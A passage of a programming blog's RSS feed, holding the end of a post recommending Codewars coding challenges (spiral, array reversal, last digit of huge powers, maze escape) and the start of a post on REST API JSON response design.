style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;There is a more complicated version where the limit is one character per line, in case you find this one too easy.&lt;/p&gt;&#xA;&lt;h2 id=&#34;make-a-spiral&#34;&gt;Make a spiral&lt;/h2&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Your task is to create a spiral of NxN with the given size.&lt;/p&gt;&#xA;&lt;p&gt;For example, a spiral with 5 sides should look like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;00000&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;....&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;000.0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0.&lt;/span&gt;..&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;00000&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And size 10&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0000000000&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.........&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;00000000.0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0.&lt;/span&gt;.....&lt;span style=&#34;color:#ff9f43&#34;&gt;0.0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0.0000&lt;/span&gt;.&lt;span style=&#34;color:#ff9f43&#34;&gt;0.0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0.0&lt;/span&gt;..&lt;span style=&#34;color:#ff9f43&#34;&gt;0.0&lt;/span&gt;.&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0.0&lt;/span&gt;....&lt;span style=&#34;color:#ff9f43&#34;&gt;0.0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0.000000&lt;/span&gt;.&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0.&lt;/span&gt;.......&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0000000000&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The return value should contain an array of arrays, 0&amp;rsquo;s and 1&amp;rsquo;s, with the first row consisting of 1&amp;rsquo;s. For example, for the given size of 5, it should be:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[[&lt;/span&gt;1,1,1,1,1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;,&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;0,0,0,0,1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;,&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;1,1,1,0,1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;,&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;1,0,0,0,1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;,&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;1,1,1,1,1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For extreme cases of small spirals, the size will be at least 5.&lt;/p&gt;&#xA;&lt;p&gt;As a general rule, the snake made of 1s cannot touch itself.&lt;/p&gt;&#xA;&lt;p&gt;Original Kata: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/534e01fbbb17187c7e0000c6&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Make a spiral&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;note-on-kata-1&#34;&gt;Note on Kata&lt;/h3&gt;&#xA;&lt;p&gt;It looks easy, but I assure you it won&amp;rsquo;t be so easy on your first try.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-soul-of-wit-reverse-an-array&#34;&gt;The soul of wit: reverse an array&lt;/h2&gt;&#xA;&lt;p&gt;No time for stories, invert an array (in Javascript), return the result. Do whatever you want with the original array. Don&amp;rsquo;t use Array.prototype.reverse.&lt;/p&gt;&#xA;&lt;p&gt;You have 30 bytes to spend.&lt;/p&gt;&#xA;&lt;p&gt;Example: [1, 2, 3] → [3, 2, 1].&lt;/p&gt;&#xA;&lt;p&gt;This time you won&amp;rsquo;t be able to do the other Kata thing.&lt;/p&gt;&#xA;&lt;p&gt;Nor can you use require.&lt;/p&gt;&#xA;&lt;p&gt;Kata original: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/59b81886460387d8fc000043&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;The soul of wit: reverse an array&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;note-on-kata-2&#34;&gt;Note on Kata&lt;/h3&gt;&#xA;&lt;p&gt;By 30 bytes it means that you have the equivalent in characters to use in your code. For example: the solution below has 33 characters, it exceeds the limit and also cannot be used reverse.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; reverse &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; a =&amp;gt; a.reverse();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;last-digit-of-a-huge-number&#34;&gt;Last digit of a huge number&lt;/h2&gt;&#xA;&lt;p&gt;Given a list [x1, x2, x3, &amp;hellip;, xn] compute the last digit (decimal) of x1 ^ (x2 ^ (x3 ^ (&amp;hellip; ^ xn))).&lt;/p&gt;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&lt;p&gt;lastDigit([3, 4, 2]) === 1&lt;/p&gt;&#xA;&lt;p&gt;because 3 ^ (4 ^ 2) = 3 ^ 16 = 43046721.&lt;/p&gt;&#xA;&lt;p&gt;Beware: powers grow incredibly fast. For example, 9 ^ (9 ^ 9) has more than 369 million digits. Your lastDigit function has to deal with those numbers efficiently.&lt;/p&gt;&#xA;&lt;p&gt;Unusual cases: we assume that 0 ^ 0 = 1 and that the last digit of an empty list is equal to 1.&lt;/p&gt;&#xA;&lt;p&gt;Kata original: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/5518a860a73e708c0a000027&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Last digit of a huge number&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;note-on-kata-3&#34;&gt;Note on Kata&lt;/h3&gt;&#xA;&lt;p&gt;If you are thinking of writing something like:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;lastDigit&lt;/span&gt;(arr):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# Esta función NO es la correcta&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; element &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; arr[::&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;]:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        total &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; element &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt; total&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;str&lt;/span&gt;(total)[&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;last_digit([&lt;span style=&#34;color:#ff9f43&#34;&gt;528374&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;27415&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;789392&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;462589&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;166837&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;699678&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;866982&lt;/span&gt;])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Solutions like this will get you nowhere, the Kata has to run incredibly fast.&lt;/p&gt;&#xA;&lt;p&gt;See how long it takes to run in Python with the correct lastDigit function.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;time&lt;/span&gt; python script.py &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;real 0m0.122s&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user 0m0.073s&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sys&#x9; 0m0.044s&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you try to run the above code you can probably go make a cup of coffee before it finishes executing.&lt;/p&gt;&#xA;&lt;h2 id=&#34;escape-the-maze&#34;&gt;Escape the maze&lt;/h2&gt;&#xA;&lt;p&gt;You are provided with a complete labyrinth, like a 2-dimensional grid, more specifically in your language: an array of strings.&lt;/p&gt;&#xA;&lt;p&gt;maze[0][0] is the upper left corner&#xA;maze[maze[maze.length - 1][maze[0].length - 1] is the lower right corner&lt;/p&gt;&#xA;&lt;p&gt;Within this 2D grid:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;#39; &amp;#39; Espacio que puedes recorrer&#xA;&amp;#39;#&amp;#39; Es un arbusto de espinas (No puedes cruzarlo)&#xA;&amp;#39;^&amp;#39;, &amp;#39;&amp;lt;&amp;#39;, &amp;#39;v&amp;#39; or &amp;#39;&amp;gt;&amp;#39; Tu cuerpo mirando hacía la parte superior, izquierda, inferior, o derecha, respectivamente, del mapa.&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Original Kata: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/5877027d885d4f6144000404&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Escape the maze&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;note-on-kata-4&#34;&gt;Note on Kata&lt;/h3&gt;&#xA;&lt;p&gt;You are given a series of mazes, your position and you must provide an array of moves to get out. It&amp;rsquo;s incredibly entertaining!&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[ &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;##########&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;#        #&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;#  ##### #&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;#  #   # #&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;#  #^# # #&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;#  ### # #&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;#      # #&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;######## #&amp;#39;&lt;/span&gt; ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;katas-with-honorable-mention&#34;&gt;Katas with honorable mention&lt;/h2&gt;&#xA;&lt;p&gt;There are other Katas that I like very much but they were left out of this top. Check them out.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/53d40c1e2f13e331fc000c26&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;The Millionth Fibonacci Kata&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/59122604e5bc240817000016&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Prime Streaming [NC-17]&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/544e5d75908f2d5eb700052b&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Breaking the Vigenère Cipher&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/5877027d885d4f6144000404&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Escape the Maze&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/56bb9b7838dd34d7d8001b3c&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Simple Maze&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/5324945e2ece5e1f32000370&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Sum strings as numbers&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/56fa9cd6da8ca623f9001233&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Elemental words&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;h2 id=&#34;what-is-codewars&#34;&gt;What is codewars?&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Codewars is a social network of programmers who get together to challenge each other to solve code challenges. Codewars is one of &lt;strong&gt;the best websites for practicing algorithms and solving Katas&lt;/strong&gt;. Katas? Yes, as in Karate.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>REST API: Best practices and design</title>
      <link>https://coffeebytes.dev/en/software-architecture/rest-api-best-practices-and-design/</link>
      <pubDate>Thu, 28 Apr 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/software-architecture/rest-api-best-practices-and-design/</guid>
      
      <category>software architecture</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;How do I design a REST API? How many levels should I nest my related resources? Relative or full URLs? This post is a compilation of some recommendations about some good REST API design practices that I have found in books and articles on the internet. I leave the sources at the end of the article in case you are interested in going deeper or see where this information comes from.&lt;/p&gt;&#xA;&lt;p&gt;Before we get started, there are a number of &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;basic features of a REST API&lt;/a&gt;&#xA;, which I laid out in a previous post, check them out if you have questions. In this post I&amp;rsquo;m going to talk a bit about some more subjective aspects related to REST API design.&lt;/p&gt;&#xA;&lt;p&gt;Remember that a REST API can return other formats, not just JSON, but I&amp;rsquo;m going to focus on this one for the examples because it&amp;rsquo;s quite popular.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;m going to start with a fairly common question: how do I structure my JSON response?&lt;/p&gt;&#xA;&lt;h2 id=&#34;structure-for-json-responses&#34;&gt;Structure for JSON responses&lt;/h2&gt;&#xA;&lt;p&gt;There are different ways to structure the response of a REST API. There is no valid or invalid one, it depends on the taste of each team and the needs of the application. &lt;strong&gt;The important thing here is to maintain consistency and homogeneity in all your responses.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;according-to-jsonapi&#34;&gt;According to json:api&lt;/h3&gt;&#xA;&lt;p&gt;There is a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://jsonapi.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;group of people who set out to standardize JSON responses&lt;/a&gt;&#xA; into a single response style, either for returning single or multiple resources. You can take their style as a reference when designing their API to ensure uniformity of responses.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;products&amp;#34;&lt;/span&gt;: [{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;twitter-style-api&#34;&gt;Twitter style API&lt;/h3&gt;&#xA;&lt;p&gt;Twitter has its own way of doing things, the response from an individual resource looks like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For multiple resources, Twitter decided to include them within an array.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      